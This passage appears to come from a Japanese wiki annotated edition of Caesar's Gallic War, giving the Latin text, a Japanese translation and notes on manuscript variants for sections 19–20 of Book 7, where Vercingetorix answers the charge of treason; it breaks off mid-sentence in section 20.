*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
